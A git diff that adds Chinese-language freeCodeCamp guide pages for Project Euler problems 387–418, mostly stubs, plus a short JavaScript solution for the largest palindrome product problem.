diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md
new file mode 100644
index 0000000000..62abc66011
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Harshad Numbers
+localeTitle: Harshad数字
+---
+## 问题387：Harshad数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md
new file mode 100644
index 0000000000..23500784b1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct Lines
+localeTitle: 不同的线条
+---
+## 问题388：不同的线条
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md
new file mode 100644
index 0000000000..eb2af0f8d4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md
@@ -0,0 +1,9 @@
+---
+title: Platonic Dice
+localeTitle: 柏拉图骰子
+---
+## 问题389：柏拉图式骰子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md
new file mode 100644
index 0000000000..c1b3a34a80
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer right triangles
+localeTitle: 整数直角三角形
+---
+## 问题39：整数直角三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md
new file mode 100644
index 0000000000..73e941be7c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles with non rational sides and integral area
+localeTitle: 具有非理性边和整体面积的三角形
+---
+## 问题390：具有非理性边和积分面积的三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md
new file mode 100644
index 0000000000..dabb1c70c1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Hopping Game
+localeTitle: 跳跃游戏
+---
+## 问题391：跳跃游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md
new file mode 100644
index 0000000000..bfa1328c1c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md
@@ -0,0 +1,9 @@
+---
+title: Enmeshed unit circle
+localeTitle: 陷入困境的单位圈
+---
+## 问题392：陷入困境的单位圆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md
new file mode 100644
index 0000000000..6cecda1d74
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md
@@ -0,0 +1,9 @@
+---
+title: Migrating ants
+localeTitle: 迁移蚂蚁
+---
+## 问题393：迁移蚂蚁
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md
new file mode 100644
index 0000000000..9baf5ff52b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md
@@ -0,0 +1,9 @@
+---
+title: Eating pie
+localeTitle: 吃馅饼
+---
+## 问题394：吃馅饼
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md
new file mode 100644
index 0000000000..671a26a7ad
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean tree
+localeTitle: 毕达哥拉斯树
+---
+## 问题395：毕达哥拉斯树
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md
new file mode 100644
index 0000000000..f4ed79f4dc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Weak Goodstein sequence
+localeTitle: 弱Goodstein序列
+---
+## 问题396：弱Goodstein序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md
new file mode 100644
index 0000000000..9a32c71246
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle on parabola
+localeTitle: 抛物线上的三角形
+---
+## 问题397：抛物线上的三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md
new file mode 100644
index 0000000000..6fce672054
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md
@@ -0,0 +1,9 @@
+---
+title: Cutting rope
+localeTitle: 切割绳
+---
+## 问题398：切割绳索
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..1e12c75ce2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree Fibonacci Numbers
+localeTitle: Squarefree斐波纳契数
+---
+## 问题399：无自由斐波纳契数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-4-largest-palindrome-product/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-4-largest-palindrome-product/index.md
new file mode 100644
index 0000000000..e28fc4af5d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-4-largest-palindrome-product/index.md
@@ -0,0 +1,57 @@
+---
+title: Largest palindrome product
+localeTitle: 最大的回文产品
+---
+## 问题4：最大的回文产品
+
+### 方法：
+
+*   回文数字是反转时读取的数字。
+*   从两位3位数的乘积得到的最大数字是`999 * 999` ，所以我们可以制作一个循环，从产生最大数字开始，并检查该数字是否是回文。
+
+### 解：
+
+```js
+function largestPalindromeProduct(n) { 
+ 
+  //To get the maximum n digit number, + operator type castes String to Number type 
+  let max = +[...Array(n)].reduce((a, c) => a+=9, ""); 
+ 
+  //Next we get minimum n digit number from the max 
+  let min = (max+1)/10; 
+ 
+  //To store the result 
+  let res = []; 
+ 
+  //Starting the loop from max to min 
+  for (let i = max; i >= min; i--){ 
+ 
+    //Another loop 
+    for (let j =  max; j >= min; j--){ 
+ 
+      //Getting the product 
+      let num = i*j; 
+ 
+      //Reversing the number 
+      let numReverse = [...String(num)].reverse().join(''); 
+ 
+      //Checking for palindromic number 
+      if (num == numReverse) { 
+ 
+        //Pushing the number into array and breaking the loop for efficiency 
+        res.push(num); 
+        break; 
+      } 
+    } 
+  } 
+ 
+  // Returning the maximum of the result array 
+  return Math.max(...res); 
+ } 
+```
+
+*   [运行代码](https://repl.it/@ezioda004/Problem-4-Largest-palindrome-product)
+
+### 参考文献：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Palindromic_number)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md
new file mode 100644
index 0000000000..1b8ab72eae
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md
@@ -0,0 +1,9 @@
+---
+title: Champernowne's constant
+localeTitle: Champernowne的常数
+---
+## 问题40：Champernowne的常数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md
new file mode 100644
index 0000000000..c63e3ba996
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci tree game
+localeTitle: 斐波纳契树游戏
+---
+## 问题400：斐波纳契树游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md
new file mode 100644
index 0000000000..936d5c59d3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of squares of divisors
+localeTitle: 除数的平方和
+---
+## 问题401：除数的平方和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md
new file mode 100644
index 0000000000..6c65dc0361
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer-valued polynomials
+localeTitle: 整数值多项式
+---
+## 问题402：整数值多项式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md
new file mode 100644
index 0000000000..029ff44c28
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice points enclosed by parabola and line
+localeTitle: 由抛物线和线包围的格点
+---
+## 问题403：由抛物线和直线包围的格点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md
new file mode 100644
index 0000000000..274c38844f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md
@@ -0,0 +1,9 @@
+---
+title: Crisscross Ellipses
+localeTitle: 交叉椭圆
+---
+## 问题404：交叉椭圆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md
new file mode 100644
index 0000000000..0d3d9ef1cf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md
@@ -0,0 +1,9 @@
+---
+title: A rectangular tiling
+localeTitle: 矩形平铺
+---
+## 问题405：矩形平铺
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md
new file mode 100644
index 0000000000..656fa80643
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Guessing Game
+localeTitle: 猜谜游戏
+---
+## 问题406：猜猜游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md
new file mode 100644
index 0000000000..90267631a5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md
@@ -0,0 +1,9 @@
+---
+title: Idempotents
+localeTitle: 幂等
+---
+## 问题407：幂等元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md
new file mode 100644
index 0000000000..d83c04632b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md
@@ -0,0 +1,9 @@
+---
+title: Admissible paths through a grid
+localeTitle: 通过网格的可允许路径
+---
+## 问题408：通过网格的可允许路径
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md
new file mode 100644
index 0000000000..85ee81c99e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md
@@ -0,0 +1,9 @@
+---
+title: Nim Extreme
+localeTitle: Nim Extreme
+---
+## 问题409：Nim Extreme
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md
new file mode 100644
index 0000000000..c47de66deb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md
@@ -0,0 +1,9 @@
+---
+title: Pandigital prime
+localeTitle: Pandigital prime
+---
+## 问题41：Pandigital prime
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md
new file mode 100644
index 0000000000..cd05aefd1b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md
@@ -0,0 +1,9 @@
+---
+title: Circle and tangent line
+localeTitle: 圆和切线
+---
+## 问题410：圆和切线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md
new file mode 100644
index 0000000000..73278b0f2c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md
@@ -0,0 +1,9 @@
+---
+title: Uphill paths
+localeTitle: 艰难的道路
+---
+## 问题411：上坡路径
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md
new file mode 100644
index 0000000000..8df32ebb21
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md
@@ -0,0 +1,9 @@
+---
+title: Gnomon numbering
+localeTitle: Gnomon编号
+---
+## 问题412：Gnomon编号
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md
new file mode 100644
index 0000000000..9dc2c75fa8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: One-child Numbers
+localeTitle: 独生子女数字
+---
+## 问题413：独生子女号码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md
new file mode 100644
index 0000000000..b5ec95f284
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md
@@ -0,0 +1,9 @@
+---
+title: Kaprekar constant
+localeTitle: Kaprekar常数
+---
+## 问题414：Kaprekar常数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md
new file mode 100644
index 0000000000..c3d23c2acf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Titanic sets
+localeTitle: 泰坦尼克号
+---
+## 问题415：泰坦尼克号集
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md
new file mode 100644
index 0000000000..450b0f810f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md
@@ -0,0 +1,9 @@
+---
+title: A frog's trip
+localeTitle: 一只青蛙的旅行
+---
+## 问题416：青蛙的旅行
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md
new file mode 100644
index 0000000000..285687271a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Reciprocal cycles II
+localeTitle: 互惠周期II
+---
+## 问题417：互惠周期II
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md
new file mode 100644
index 0000000000..d231973320
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md
